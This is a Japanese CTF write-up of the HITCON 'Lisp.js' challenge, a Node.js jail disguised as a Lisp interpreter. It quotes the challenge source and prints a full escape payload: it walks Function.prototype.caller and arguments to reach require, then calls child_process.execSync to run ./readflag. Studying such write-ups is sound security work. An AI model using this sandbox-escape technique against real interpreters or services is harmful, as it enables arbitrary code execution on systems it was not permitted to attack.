9/8 - 9/10という日程で開催された。TokyoWesternsと出て9位。Webが0完というのは大変くやしいし、決勝圏内である7位以内にはあと1問が解ければ入れるという状況だったことも手伝ってつらい。特にLogin SystemはNimのコードをじっくり読んでいたにもかかわらずHTTP Request Smugglingに気づけなかったというのがくやしい。くやしい、くやしい~*1! maple3142さんが作問された問題についてはすでにもろもろの情報が公開されている。添付ファイル等もそちらを参照のこと。
[Misc 342] Lisp.js (9 solves)
A brand new Lisp interpreter implemented in JavaScript!
(問題サーバへの接続情報)
添付ファイル: lispjs-dist-0ce6082c58c5bb17853c269ebb6bacb7e0854beb.tar.gz
JavaScriptで機能に制限のあるLispのインタプリタを作ったので、なんとかしてこの「サンドボックス」的なものから脱出しろという問題。以下のDockerfileを見るとわかるが、readflag というバイナリを実行することがゴールとなる。readflag はフラグを出力するだけのバイナリだ。
pwn.red/jail というイメージはGitHubの redpwn/jail にある。redpwn製のいい感じにjailを作れる便利なやつで、/srv/app/run に配置されている実行ファイルがエントリーポイントとなる。
FROM node:20-alpine AS app WORKDIR /app COPY src/ . FROM pwn.red/jail COPY --from=app / /srv COPY ./src/run.sh /srv/app/run COPY ./readflag /srv/app/readflag RUN chmod 111 /srv/app/readflag ENV JAIL_MEM=64M JAIL_PIDS=20 JAIL_TMP_SIZE=1M
エントリーポイントである run.sh は次の通り。Lispコードを入力すると適当な一時ファイルに保存し、main.js にそのパスを渡し実行する。Node.jsには --disallow-code-generation-from-strings と --disable-proto=delete。という2つのオプションが付与されているけれども、これらはどういうものだろうか。
#!/bin/sh export PATH="$PATH:/usr/local/bin" tmpfile="$(mktemp /tmp/lisp-input.XXXXXX)" echo "Welcome to Lisp.js v0.1.0!" echo "Input your Lisp code below and I will run it." while true; do printf "> " read -r line if [ "$line" = "" ]; then break fi echo "$line" >> "$tmpfile" done node --disallow-code-generation-from-strings --disable-proto=delete main.js "$tmpfile" rm "$tmpfile"
まず --disallow-code-generation-from-strings だけれども、Node.jsのドキュメントを見ると eval や new Function などによる、文字列からのコード生成を抑制するオプションであるとわかる。適当にこのオプションを付けて eval を実行してみると、こんな感じで確かに eval の呼び出し時に EvalError という例外が発生していることがわかる。
この手のJSサンドボックス問は (123).constructor.constructor で Function にアクセスし、Function('console.log(123)')() のようにして任意のJSコードの実行に持ち込むというのが定石というか、もっとも楽な方法なので、それが潰されてしまうのはちょっとつらい。そういうわけで、それ以外の方法でモジュールのインポート方式がCommonJSであれば process.mainModule を、ES Modulesであれば process.binding などにアクセスして呼びたいと考える。そのためのプロパティへのアクセスの方法が重要になる。
$ docker run --rm -it node:20-alpine --disallow-code-generation-from-strings -e 'eval("123")'
[eval]:1
eval("123")
^
EvalError: Code generation from strings disallowed for this context
at [eval]:1:1
at Script.runInThisContext (node:vm:122:12)
at Object.runInThisContext (node:vm:298:38)
at node:internal/process/execution:83:21
at [eval]-wrapper:6:24
at runScript (node:internal/process/execution:82:62)
at evalScript (node:internal/process/execution:104:10)
at node:internal/main/eval_string:50:3
Node.js v20.6.1
--disable-proto は __proto__ の利用を制限するオプションだ。オプションの値として delete が指定されており、__proto__ の存在が完全に抹消されていることがわかる*2。ただ、obj.constructor.prototype で代替できるのでいまいちこのオプションの意味を感じない。obj[prop1][prop2] のように2段以上オブジェクトのプロパティをさかのぼれないというのなら別だけれども。
main.js は次の通り。一時ファイル経由で飛んできたLispコードを runtime.js の lispEval に渡している。
const { lispEval } = require('./runtime') const fs = require('fs') const code = fs.readFileSync(process.argv[2], 'utf-8') console.log(lispEval(code))
runtime.js は次の通り。長いのでところどころ省略している。すべてを見たい場合にはmaple3142さんが上げているコードを確認のこと。lispEval の第1引数はコードだけれども、別途第2引数としてスコープを指定することもできる。このスコープというのは序盤で定義されている Scope のインスタンスであり、+ や print といったシンボルを解決するために使われる。
main.js では第2引数が指定されていなかったため、デフォルト引数として basicScope で生成されるスコープが使われる。basicScope では +, -, if, let, fun といった基本的な関数が定義されている。ややJSっぽいなと感じる関数として slice, object, keys, そして . がある。前の3つはリストやJSのオブジェクトを加工するための関数で、それぞれリストのスライス、リストからオブジェクトへの Object.fromEntries を使った変換、そしてオブジェクトに含まれるキー一覧の取得ができる。. はオブジェクトのプロパティを取得できる便利な関数だ。
basicScope 以外にも extendedScope というものがあり、これは basicScope に含まれる基本的な関数のほか、Array, Date, Math といったJSのオブジェクトなどなど、便利な関数を追加してくれる。しかしながら、extendedScope はデフォルトでは使えない。
const { Tokenizer } = require('./tokenizer') const { Parser, LispSymbol } = require('./parser') class LispRuntimeError extends Error { constructor(message) { super(message) this.name = 'LispRuntimeError' } } exports.LispRuntimeError = LispRuntimeError class Scope { constructor(parent) { this.parent = parent this.table = Object.create(null) } get(name) { if (Object.prototype.hasOwnProperty.call(this.table, name)) { return this.table[name] } else if (this.parent) { return this.parent.get(name) } } set(name, value) { this.table[name] = value } } exports.Scope = Scope function astToExpr(ast) { if (typeof ast === 'number') { return function _numberexpr() { return ast } } else if (typeof ast === 'string') { return function _stringexpr() { return ast } } else if (ast instanceof LispSymbol) { return function _symbolexpr(scope) { // pass null to get the symbol itself if (scope === null) return ast const r = scope.get(ast.name) if (typeof r === 'undefined') throw new LispRuntimeError(`Undefined symbol: ${ast.name}`) return r } } else if (Array.isArray(ast)) { return function _sexpr(scope) { // pass null to get the ast function call itself if (scope === null) return ast const fn = astToExpr(ast[0])(scope) if (typeof fn !== 'function') throw new LispRuntimeError(`Unable to call a non-function: ${fn}`) return fn(ast.slice(1).map(astToExpr), scope) } } else { throw new LispRuntimeError(`Unxpexted ast: ${ast}`) } } exports.astToExpr = astToExpr function basicScope() { // we always use named function here for a better stack trace // otherwise you would see a lot of <anonymous> in the stack trace :( const scope = new Scope() scope.set('do', function _do(args, scope) { const newScope = new Scope(scope) let ret = null for (const e of args) { ret = e(newScope) newScope.set('_', ret) } return ret }) scope.set('print', function _print(args, scope) { console.log(...args.map(e => e(scope))) }) // (省略) scope.set('.', function _dot(name, scope) { const obj = name[0](scope) const prop = name[1](scope) const ret = obj[prop] if (typeof ret === 'undefined') { throw new LispRuntimeError(`Undefined property: ${prop}`) } return ret }) // (省略) scope.set('slice', function _slice(args, scope) { if (args.length !== 3) throw new LispRuntimeError('slice expects 3 arguments') const list = args[0](scope) const start = args[1](scope) const end = args[2](scope) if (!Array.isArray(list)) throw new LispRuntimeError('slice expects a list as first argument') return list.slice(start, end) }) scope.set('object', function _object(args, scope) { return Object.fromEntries(args.map(e => e(scope))) }) scope.set('keys', function _keys(args, scope) { const obj = args[0](scope) return Object.keys(obj) }) return scope } exports.basicScope = basicScope function extendedScope() { // a runtime with all the basic functions, plus some more js interop functions const scope = basicScope() scope.set('Object', Object) scope.set('Array', Array) scope.set('String', String) // (省略) } exports.extendedScope = extendedScope function lispEval(code, scope = basicScope()) { const tokens = Tokenizer.tokenize(code) const ast = Parser.parse(tokens) return astToExpr(ast)(scope) } exports.lispEval = lispEval if (require.main === module) { // (省略。サンプルコード*2) }
JSで作られた普通のLispインタプリタだ。文法や機能も . 関数やオブジェクトへの対応などJSっぽい雰囲気がある以外はごく普通だ。前述の通り readflag という実行ファイルを実行するのがこの問題のゴールであるから、なんとかしてこの「サンドボックス」を脱出し、たとえば child_process モジュールをインポートして execSync などを呼んだり、process.binding を呼んだりといったことをしたい。そのために、グローバルな this や process にアクセスしたいところだ。
そういうわけで、なんとかやっていきたい。まず思いつくのは(以前SECCON CTFでよく似たシチュエーションの問題が出題され、そちらで使ったのもあり) Function.prototype.caller と Function.prototype.arguments だった。それぞれある関数の呼び出し時に、呼び出し元の関数や渡ってきた引数へアクセスできるプロパティだ。アクセスするには呼び出されている側の関数オブジェクトにアクセスする必要があるけれども、(シンボルの解決は実行時であるため)(let f (fun (x) (f))) のようにして自分自身にアクセスできるということが使える。次のようにして、. を使い Function.prototype.caller にアクセスできた。
$ nc localhost 1337 Welcome to Lisp.js v0.1.0! Input your Lisp code below and I will run it. > (do (let f (fun (x) (. f "caller"))) (print (f 1)))> > > [Function: _sexpr] undefined
次のようにして Function.prototype.arguments へのアクセスもできる。
$ nc localhost 1337
Welcome to Lisp.js v0.1.0!
Input your Lisp code below and I will run it.
> (do
(let f (fun (x) (. (. f "caller") "arguments")))
(print > (f 1)))>
>
[Arguments] {
'0': Scope {
parent: Scope { parent: undefined, table: [Object: null prototype] },
table: [Object: null prototype] {
f: [Function: _runtimeDefinedFunction],
_: undefined
}
}
}
undefined
caller を辿っていくといい感じに main.js まで戻ることができた。ここで arguments にアクセスすると require やモジュールが使えるはずだ。
$ nc localhost 1337
Welcome to Lisp.js v0.1.0!
Input your Lisp code below and I will run it.
> (do
(let x (fun ()
(. (. (. (. (. (. (. x "caller") "caller") "caller") "caller") "caller") "caller") "caller")))
(let res (x))
(list res (+ "" res))
)> > > > >
>
[
[Function (anonymous)],
'function (exports, require, module, __filename, __dirname) {\n' +
"const { lispEval } = require('./runtime')\n" +
"const fs = require('fs')\n" +
'\n' +
"const code = fs.readFileSync(process.argv[2], 'utf-8')\n" +
'console.log(lispEval(code))\n' +
'\n' +
'}'
]
module.children で読み込まれたモジュール、つまり runtime.js でエクスポートされている関数などにもアクセスできる。これを使って以下のように extendedScope へアクセスし、呼び出すこともできた。
(do (let get_require (fun () (. (. (. (. (. (. (. (. (. get_require "caller") "caller") "caller") "caller") "caller") "caller") "caller") "arguments")"1"))) (let get_module (fun () (. (. (. (. (. (. (. (. (. get_module "caller") "caller") "caller") "caller") "caller") "caller") "caller") "arguments")"2"))) (let require (get_require)) (let module (get_module)) (let extendedScope (. (. (. (. module "children") "0") "exports") "extendedScope")) (extendedScope) )
extendedScope で追加される関数には以下のようなものがある。basicScope や extendedScope で追加されている関数の定義を見るとわかるように、Lisp側で定義された関数はいずれも呼び出し時に第1引数として引数のリストが、第2引数として Scope オブジェクトが渡ってくる。そのため、実質的にLisp側からJS側の関数を呼び出す際には第1引数しかコントロールできないほか、第2引数が必要ない場合でも余計に Scope オブジェクトが渡ってしまう問題がある。
j2l と l2j はいずれも読みづらいけれども、こういったLisp側とJS側での相互運用性をいい感じに解決してくれる関数だ。たとえば (let isArray (j2l (. Array "isArray"))) のように j2l を通すことで、Array.isArray(hoge) 相当のことをLisp側から (isArray hoge) でできるようになる。l2j はその逆で、JS側からLisp側の関数を呼び出しやすくする。.. も同様に、Lisp側からJS側の関数を呼び出しやすくする関数だ。
scope.set('j2l', function _j2l(args, scope) { if (args.length !== 1) throw new LispRuntimeError('j2l expects 1 argument') const fn = args[0](scope) if (typeof fn !== 'function') throw new LispRuntimeError('j2l expects a function as argument') return function _wrapperForJSFunction(fnargs, callerScope) { return fn(...fnargs.map(e => e(callerScope))) } }) scope.set('l2j', function _l2j(args, scope) { if (args.length !== 1) throw new LispRuntimeError('l2j expects 1 argument') const fn = args[0](scope) if (typeof fn !== 'function') throw new LispRuntimeError('l2j expects a function as argument') return function _wrapperForLispFunction(...args) { return fn( args.map(x => () => x), scope ) } }) scope.set('..', function _dot(args, scope) { const obj = args[0](scope) const prop = args[1](scope) let ret = obj[prop] if (typeof ret === 'undefined') { throw new LispRuntimeError(`Undefined property: ${prop}`) } if (typeof ret !== 'function') { throw new LispRuntimeError(`Property ${prop} is not a function`) } return Function.prototype.bind.call(ret, obj) })
これで材料は揃った。以下のようなことをするLispコードを組み立てたい。
callerを辿り、main.jsのrequireとmoduleにアクセスする- 手に入れた
moduleからruntime.jsのextendedScopeを手に入れ、呼び出す - 追加された
j2lと..を使い、require('child_process').execSync('./readflag')相当のことをする
出来上がったのが次のLispコードだ。
(do (let get_module (fun () (. (. (. (. (. (. (. (. (. get_module "caller") "caller") "caller") "caller") "caller") "caller") "caller") "arguments")"2"))) (let module (get_module)) (let extendedScope (. (. (. (. module "children") "0") "exports") "extendedScope")) (let e (extendedScope)) (let get_require (fun () (. (. (. (. (. (. (. (. get_require "caller") "caller") "caller") "caller") "caller") "caller") "caller") "arguments"))) (let .. (. (. e "table") "..")) (let j2l (. (. e "table") "j2l")) (let require_ (get_require)) (let require (j2l (.. require_ "1"))) (let child_process (require "child_process")) (let execSync (j2l (.. child_process "execSync"))) (+ (execSync "./readflag") ""))
これを問題サーバに投げると、フラグが得られた。
$ (cat payload; echo) | nc chal-lispjs.chal.hitconctf.com 1337
Welcome to Lisp.js v0.1.0!
Input your Lisp code below and I will run it.
> > > > > > > > > > > > > > > > > hitcon{it_is_actually_a_node.js_jail_in_disguise!!}
そうやな。
hitcon{it_is_actually_a_node.js_jail_in_disguise!!}